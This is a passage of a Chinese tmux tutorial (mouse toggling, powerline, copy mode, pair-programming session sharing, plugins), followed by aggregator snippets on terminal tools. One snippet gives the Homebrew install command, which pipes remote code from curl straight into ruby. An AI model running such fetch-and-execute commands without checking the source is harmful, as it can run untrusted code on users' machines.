    bind m run 'old=$(tmux show -gv mouse);new=""; if [ "$old" = "on" ]; then new="off"; else new="on"; fi; tmux set -g mouse $new; tmux display "mouse: $new"'

    注意这是一行配置,细心的读者可能已经发现,这其实是一段shell脚本,在鼠标模式关闭的情况下打开它,反之亦然。

    状态栏的配置

    默认 tmux 的状态栏是窗口下方的一段绿色长条,如下图:

    ?wx_fmt=png

    它分为三个部分:

    • 最右边的会话名字;

    • 中间的窗口列表;

    • 左边的主机信息。

    这些显示的信息,以及字体前景色,背景色都是可以灵活配置的。开源的好处就是社区已经有许多成熟的解决方案,这里面最受欢迎的是 powerline。

    powerline 用 Python 编写,安装使用 Python 的包管理工具pip

    pip install powerline-status

    此外我们还需要安装 powerline 使用的字体,可以在 https://github.com/powerline/fonts 下载并安装。

    对 tmux 使用 powerline,只需将如下配置加入 .tmux.conf,prefix + r重新加载即可:

    source "{repository_root}/powerline/bindings/tmux/powerline.conf"

    其中 repository_root 是 powerline 的安装路径。以下是作者安装 powerline 之后状态栏的一个截屏:

    ?wx_fmt=png

    复制模式

    tmux 初学者经常遇到的一个问题就是发现无法使用滚动键向上滚动查看终端的历史。要做到这一点,必须进入 tmux 的复制模式。

    按下prefix + [,tmux 就进入了复制模式,再按回车键退出。默认情况下 tmux 保存 1000 行终端历史。我们可以通过。

    set -g history-limit 10000

    调整历史记录大小。

    tmux 复制模式可以使用两种键盘模式,Vi 和 Emacs,默认为 Emacs,我们通过:

    set -g mode-keys vi

    更改为 Vi 的键盘模式。在 Vi 模式下,可以通过 jkhl 来上下左右移动光标。

    要复制文本,我们先进入复制模式,将光标移动到指定位置,按下空格键,然后移动光标来选择文本,被选择的文本会高亮显示,最后按回车键,表示选择完毕。

    此时敲入命令tmux list-buffer,我们可以看到 tmux 缓存区保存的文本,使用tmux paste-buffer或者快捷键prefix + ]可以粘贴缓存区里面的内容。

    更加高级的是 tmux 维护一个缓冲区的栈,每复制一次,tmux 在这个栈顶部创建了一个新的缓冲区。现在我们可以多复制几次文本,然后键入命令tmux list-buffers,这时可以看到一个缓冲列表。

    再敲入命令tmux choose-buffer,tmux 会创建一个选择框,我们可以选择需要粘贴的文本,然后回车,对应文本就插入到了光标位置。

    vim 用户可以重新配置这些命令和快捷键,让使用起来更加熟悉。

    bind-key -Tcopy-mode-vi 'v' send -X begin-selection bind-key -Tcopy-mode-vi 'y' send -X copy-selection unbind p bind p paste-buffer bind b choose-buffer

    现在在复制模式下可以使用 v 和 y 来选择文本,使用prefix + p粘贴文本,使用prefix + b来选择缓冲(将 prefix 设置成为 ctrl + b 的用户可自行选择其他快捷键)。

    其他配置

    为了使 tmux 更好的工作,作者在这里还贴出一些其他的 tmux 基本配置。

    set -g default-terminal "screen-256color" # 颜色支持 setw -q -g utf8 on       # utf8 支持 set -q -g status-utf8 on # tmux < 2.2 setw -g automatic-rename on # 自动重命名窗口 set -g renumber-windows on  # 关闭窗口的时候重新计算窗口 index set -g display-time 4000 # tmux 消息提示时间为 4 秒

    session 共享和结对编程

    目前很多企业都在推行结对编程,两个人同一工作台前开发软件。当开发人员在同一个办公室的情况下,实施结对编程比较简单,但是如果开发人员处于异地的状态,实施结对编程就必须有屏幕共享的软件。

    而 tmux 基于终端的会话共享可以在即使网络状况不佳的情况下提供良好的结对编程体验。

    我们先来看一下最基本的会话共享机制。

    假设有主机 Foo,程序员 A ssh 连接到了这台主机,并使用 tmux 开始了会话 pairing。

    tmux new -s pairing

    A 想把这个会话共享给开发人员 B,那么他只需要让 B 登录同一台主机的同一个用户,B 就可以用命令。

    tmux attach -t pairing

    attach 到同一个会话。此时 A 和 B 看到的就是同一会话的统一窗口,两人的操作也会完全同步到各自的屏幕上。

    这种方法一个不那么完美的地方就是 A 和 B 看到的屏幕永远是完全一致的,有的时候我们可能需要让 A 和 B 能够同时做不同的事情,同步窗口的结果但不必保持窗口显示的同步。要做到这一点,只需要 B 使用命令:

    tmux new -s test -t pairing

    创建一个新的会话并将其加入到 pairing 会话即可。这样 A 和 B 看到的窗口结果是一样,但是两人都可以独立输入而不会互相打扰。

    如果想在不共享服务器的登录权限的情况下共享 tmux 会话,可以尝试使用 tmate。它是一款 tmux 的 fork,可以在无需登录主机的情况下只读的共享你的 tmux 会话。详细使用读者可以自行参考相关网站。

    插件管理

    tmux 官方支持一系列的插件,可以在 https://github.com/tmux-plugins 找到。注意大部分插件都需要 tmux 1.9 +  版本。

    tpm

    首先需要提及的是插件管理工具 tpm,它可以用来方便的安装和删除插件。安装 tpm 的方法为

    git clone https://github.com/tmux-plugins/tpm ~/.tmux/plugins/tpm

    在 ~/.tmux.conf中加入这些配置:

    #tmux 插件列表 set -g @plugin 'tmux-plugins/tpm' set -g @plugin 'tmux-plugins/tmux-sensible' #将这一行插入 .tmux.conf 最底部 run '~/.tmux/plugins/tpm/tpm'

    然后使用prefix + r重新加载 tmux 配置,就可以使用 tmp 了。

    当在 .tmux.conf 里面加入了新的插件时,我们可以使用prefix + I安装插件,使用prefix + U更新插件。删除插件的快捷键为prefix + alt + u

    会话保持:tmux-resurrect

    tmux-resurrect 是一款轻量级的会话保持插件。它可以用来在服务器重启之后重新加载之前保存的 tmux 会话。

    安装 tmux-resurrect,首先将 set -g @plugin 'tmux-plugins/tmux-resurrect'加入到 .tmux.conf 中,然后按prefix + I安装。

    保存 tmux 会话的方法为prefix + C-s。保存成功之后会出现如下提示

    ?wx_fmt=png

    此时我们如果重启机器,然后打开一个新的 tmux 会话,那么可以使用快捷键prefix + C-r恢复保存的会话信息。

    tmuxinator 是另外一款 tmux 的会话保持工具,它通过编辑和读取配置文件的形式进行会话的保持。这里留给读者自行参考。

    结束语

    到此为止,本篇关于 tmux 的介绍就结束了。正如文章开头所说,tmux 可以大幅度的提高工作效率,希望读者都能喜爱上这一款优秀的终端管理工具。

    文中提及的网站

    homebrew:https://brew.sh/

    Cygwin:https://www.cygwin.com/
    powerline:https://github.com/powerline/powerline
    tmate:https://tmate.io/
    tpm:https://github.com/tmux-plugins/tpm
    tmux-resurrect:https://github.com/tmux-plugins/tmux-resurrect
    tmuxinator:https://github.com/tmuxinator

    近期热文

    谈谈源码泄露 · WEB 安全

    用 LINQ 编写 C# 都有哪些一招必杀的技巧?

    机器学习面试干货精讲

    深入浅出 JS 异步处理技术方案

    敏捷教练 V 形六步法实战:从布朗运动到深度协作

    从零开始,搭建 AI 音箱 Alexa 语音服务

    修改订单金额!?0.01 元购买 iPhoneX?| Web谈逻辑漏洞

    ?wx_fmt=jpeg

    「阅读原文」看交流实录,你想知道的都在这里

    展开全文
  • 终端管理工具

    2019-09-30 10:52:46
    终端管理工具 Homebrew 用于安装和管理软件。 安装方式: 在终端中输入ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 简单使用: 安装:brew install 软件名 ...
  • 计算机及移动设备管理软件  Desktop Central是一个全面的桌面计算机和移动设备管理解决方案,用于集中管理企业网络中的服务器、计算机、手机及平板电脑等设备。... 在移动终端管理方面,通过对移动设备、移动应用...
  • 怎么进入华为路由器终端管理系统

    千次阅读 2019-06-18 15:20:42
    怎么进入华为路由器终端管理系统 知道合伙人互联网行家2016-12-15 一、物理连接 1、将配置电缆DB-25插头接到要对路由器进行配置的电脑串口上。 2、将配置电缆的RJ-45一端连到路由器的Console口上。 二、设置电脑...
  • ubuntu 终端管理工具

    千次阅读 2018-10-25 14:56:56
    安装Terminator sudo apt-get install ...打开Termintor按Ctrl+Shift+e可以垂直分割终端 Ctrl+Shift+O 可水平分割终端 按住Alt然后按上下左右可以在不同的分割窗中切换 Ctrl+Shift+D 可以关闭分割窗  ...
  • 终端管理器tmux使用详解

    万次阅读 2013-06-04 21:14:06
    在日常工作中,总是感觉用PUTTY连接Linux一个窗口不够用,再开新的窗口又比较麻烦,于是想到是否可以在一个SSH会话中可以打开多个终端,最后我找到了很强大而且使用广泛的tmux多终端管理器。 tmux是一个优秀的终端...
  • 串口连接设置超级终端管理交换机

    千次阅读 2012-12-25 13:38:49
    串口连接设置超级终端管理交换机 来源: 作者: 发表时间:2007-06-23 点击:345次 获取本文网址二维码  Windows系统Unix系统网络知识网络服务器 交换机是校园网系统的交通枢纽,其管理特性决定了...
  • DM 移动终端管理技术

    千次阅读 2008-07-16 21:48:00
    DM是Device Manage的简称,也就是设备管理的意思。对于任何设备都会有这个课题,...最终一些欧洲移动运营商都建立起了一定规模的终端管理体系,它们或根据自行标准,或遵循OMA标准来统一手机设备的设备管理规范。所以
  • 在linux下,我们往往会因为一个工程打开多个终端,为了更好的管理它们,在这里我介绍一个好用的工具: Terminator        安装特别简单,命令如下: sudo apt-get install ...
  • 几年前,在一家公司,当我离职的时候,看到新来...于是打算切换到linux下面,但是有一款软件是必不可少的,就是终端管理器。一开始打算用pac manager,perl写的,比较牛逼,甚至3389也可以连接,但是安装之后由于依赖有
  • 前言 经常有朋友问到:“Windows操作系统中你都用什么终端(命令行)...但这种局面将很快被终结,因为在前不久的微软Build 2019大会上,微软公布了自家开源的Windows终端管理工具--Windows Terminal,宣传号为:“...
  • 移动终端管理系统的关键技术研究 2007年9月10日 10:50 中国联通网站 1、前言  随着移动数据业务日趋丰富和复杂,业务对终端的依赖性越来越高。移动终端作为用户使用移动业务的载体,已...
  • 1.下载: 官网地址: ...的终端输入以下语句。 (Win8或者Win10可以直接 win+x 再按 a 键进入) Cmder.exe /REGISTER ALL 然后任意文件夹右键,即可看到cmder选项      
  • OMA DM终端管理

    2012-04-27 10:50:17
    居然还有这个东西,今天才知道,好强大 OMA全称是Open Mobile Alliance,即开放移动联盟,成立于2002年7月,由近200家公司组成...OMA的官方网址是http://www.openmobilealliance.com,目前OMA对移动终端的浏览器(B
  • 通过SSH终端管理ESXI虚拟机

    千次阅读 2016-11-18 11:05:02
    今天在ESXI上的一台windows系统的虚拟机(以下简称VM),突然nagios报警提示说:该机器发生故障。 既然问题出来了,就要解决。先在本机ping下那台VM,发现不能ping通。...因为不想安装ESXI的其他管理
  • screen 多窗口终端管理

    千次阅读 2012-05-11 13:32:23
    而如果使用screen管理器,那么即使出现上述情况,还是能够恢复原来的窗口,其中的历史信息依然存在,之前运行的程序依然在正常运行。  screen是在原来的终端上开了好几个线程形成的虚拟窗口。即使终端异常退出,...
  • 步骤 管理连接配置: 密码机信息:IP=127.0.0.1, PORT=6000, TIMEOUT=300,管理网口6000,交易网口6666 外部网线连接方式:网线一端连接密码机ETH4、...管理软件安装: 光盘中控制台终端安装包安装(默认路径C:\Prag...
  • 疫情改变了人们的购买行为和购买渠道,这对于零售企业来说,意味着机遇和挑战并存。线上和线下有机融合的一体化“双店”经营模式毫无疑问正在快速发展,零售渠道将被... ▪ 如何升级线下渠道,提升终端服务质量和用..
  • Ubuntu 12.04下玩转终端管理器Byobu

    千次阅读 2016-03-17 14:26:02
    很多Linux高手都喜欢使用screen命令,screen命令可以使你轻松地使用一个终端控制其他终端。尽管screen本身是一个非常有用的工具,byobu作为screen的增强版本,比screen更加好用而且美观,并且提供有用的信息和快捷的...
  • MobaXterm配置 --- windows终端管理工具

    千次阅读 2018-10-19 10:52:11
    参考:http://blog.csdn.net/LANWENBING/article/details/36222311 源程序下载:...   能够直接通过MobaXterm.ini文件配置。 该文件和MobaXterm软件放在同一目录下。......
  • terminator是个很好的终端程序,在Ubuntu Linux下安装如下: sudo apt-get install terminator

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 28,990
精华内容 11,596
关键字:

终端管理